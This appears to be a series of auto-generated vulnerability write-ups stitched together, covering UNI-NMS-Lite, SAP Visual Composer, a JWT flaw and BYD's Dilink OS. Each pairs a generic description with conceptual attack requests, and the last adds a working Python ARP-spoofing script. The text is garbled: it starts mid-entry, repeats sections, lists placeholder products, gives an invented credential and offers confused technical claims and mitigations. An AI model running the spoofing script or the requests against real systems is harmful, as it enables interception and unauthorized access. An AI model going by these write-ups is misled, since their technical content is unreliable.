How the Exploit Works

The exploit takes advantage of the hard-coded credentials in UNI-NMS-Lite. An attacker can use these credentials to gain unauthorized access to the managed database. Without the need for user interaction or any special privileges, the attacker can read, manipulate, and create entries in the database. This could lead to a range of malicious activities including data theft, data manipulation, or potentially even system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited, in this case via a simple HTTP GET request to the target system:

GET /database/endpoint HTTP/1.1
Host: target.example.com
Authorization: Basic [hard-coded credentials]

In this example, the “hard-coded credentials” would be replaced with the actual credentials hardcoded into the system. Such a request could allow the attacker to read, update, or create entries in the managed database.

How the Exploit Works

The vulnerability arises from the use of hard-coded credentials within the UNI-NMS-Lite. These credentials are accessible to anyone who can reach the system over the network. An unauthenticated, remote attacker can exploit this vulnerability by using these hard-coded credentials to gain full administrative access to all UNI-NMS managed devices. This access would allow the attacker to modify system configurations, access sensitive data, and potentially carry out other malicious activities.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This would be done by sending a network request to the target system using the hard-coded credentials:

GET /admin/login HTTP/1.1
Host: target.example.com
Authorization: Basic dW5pLW5tcy1saXRlOmhhcmRjb2RlZC1wYXNzd29yZA==

In this example, the `Authorization` header includes the Base64 encoded username and password (`uni-nms-lite:hardcoded-password`). After authenticating with these credentials, the attacker would have full administrative access to the system.

Mitigation Guidance

The recommended mitigation for CVE-2025-46273 is to apply the vendor patch as soon as it becomes available. In the meantime, administrators can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.

Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

SAP NetWeaver Visual Composer | All versions prior to the latest patch

How the Exploit Works

The vulnerability stems from the lack of proper authorization in the Visual Composer’s Metadata Uploader. An attacker could exploit this vulnerability by sending a crafted request to the vulnerable upload functionality without necessary authentication. Through this, they can upload potentially malicious executable binaries that can severely harm the host system. Once uploaded, these harmful files can be executed, leading to unauthorized system access, data corruption, or even a complete system shutdown.

Conceptual Example Code

Here’s a conceptual example of how an attacker could potentially exploit this vulnerability:

POST /MetadataUploader/Upload HTTP/1.1
Host: vulnerable-vc.example.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="malicious.exe"
{ binary data of malicious.exe }

In this example, the attacker is sending a POST request to the vulnerable upload endpoint of the Visual Composer, posing as an unauthenticated agent. The request includes a malicious executable file (`malicious.exe`), which is uploaded to the server, potentially causing severe harm to the host system. The binary data represents the actual content of the malicious file.

Recommended Mitigation

The ideal solution to mitigate this vulnerability is to apply the vendor patch released by SAP. In case the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can detect and block malicious file uploads, thereby reducing the risk of exploitation. However, these should not be considered a long-term solution, and applying the vendor patch should be prioritized.

Overview

CVE-2021-47663 is a critical vulnerability that enables an unauthenticated remote attacker to guess a valid session ID, allowing them to impersonate a user and gain full access to the system. With the rise of remote work and digital spaces, the security of online systems is paramount. This vulnerability affects any system that has improperly implemented JSON Web Tokens, posing a significant threat to data integrity and system security. The severity of the vulnerability is underscored by its CVSS severity score of 8.1, which points to its potential for serious damage if left unaddressed.

Vulnerability Summary

CVE ID: CVE-2021-47663
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

[Product 1] | [All versions with improper JWT implementation]
[Product 2] | [All versions with improper JWT implementation]

How the Exploit Works

The exploit takes advantage of an improper implementation of JSON Web Tokens (JWTs). JWTs are an open standard (RFC 7519) for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. However, if the JWTs are implemented improperly, the digital signature can be compromised.
An attacker can use this vulnerability to guess a valid session ID. Once the session ID is guessed, it allows the attacker to impersonate a user, which in turn grants them full access to the system. This can lead to system compromise or potential data leakage, putting sensitive data at risk.

Conceptual Example Code

A potential exploit might look something like this, where the attacker sends a malicious request to a vulnerable endpoint:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "session_id": "guessed_or_stolen_session_id" }

In this conceptual example, the “guessed_or_stolen_session_id” represents a session ID that the attacker has either guessed or stolen, allowing them to impersonate a user and gain unauthorized access to the system.

Mitigation

To mitigate this vulnerability, apply the patch provided by the vendor as soon as possible. If a patch is not immediately available or cannot be applied immediately, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure to detect and prevent exploitation attempts. Additionally, ensure that JSON Web Tokens are properly implemented as per the guidelines in RFC 7519.

Overview

The CVE-2025-28169 vulnerability affects the Dilink OS v3.0_13.1.7.2204050.1 to v3.0_13.1.7.2312290.1_0 of the BYD QIN PLUS DM-i.

Vulnerability Summary

CVE ID: CVE-2025-28169
Severity: High, CVSS Score 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

BYD QIN PLUS DM-i Dilink OS | v3.0_13.1.7.2204050.1 to v3.0_13.1.7.2312290.1_0

How the Exploit Works

The exploit takes advantage of the unencrypted broadcasts that the Dilink OS sends to the manufacturer’s cloud server. By intercepting these broadcasts, an attacker can execute a man-in-the-middle attack. This attack could allow the attacker to eavesdrop on the communication, manipulate the data, or even impersonate the server to gain unauthorized access to sensitive information.

Conceptual Example Code

Here is a conceptual example of a man-in-the-middle attack using Python:

import scapy.all as scapy
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
target_ip = "10.0.2.7"
gateway_ip = "10.0.2.1"
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)

In this example, the attacker spoofs the IP of the manufacturer’s cloud server (gateway_ip) and the IP of the Dilink OS (target_ip). The attacker then sends ARP responses to both targets, tricking them into believing that they are communicating with each other, while in reality, all their communication is going through the attacker’s machine.

Mitigation

The recommended mitigation for this vulnerability is to apply the vendor’s patch. If a patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as temporary mitigation. These systems can help detect and prevent man-in-the-middle attacks by monitoring network traffic and identifying suspicious activity.
Remember, always stay vigilant and keep your systems updated to protect against the latest vulnerabilities.
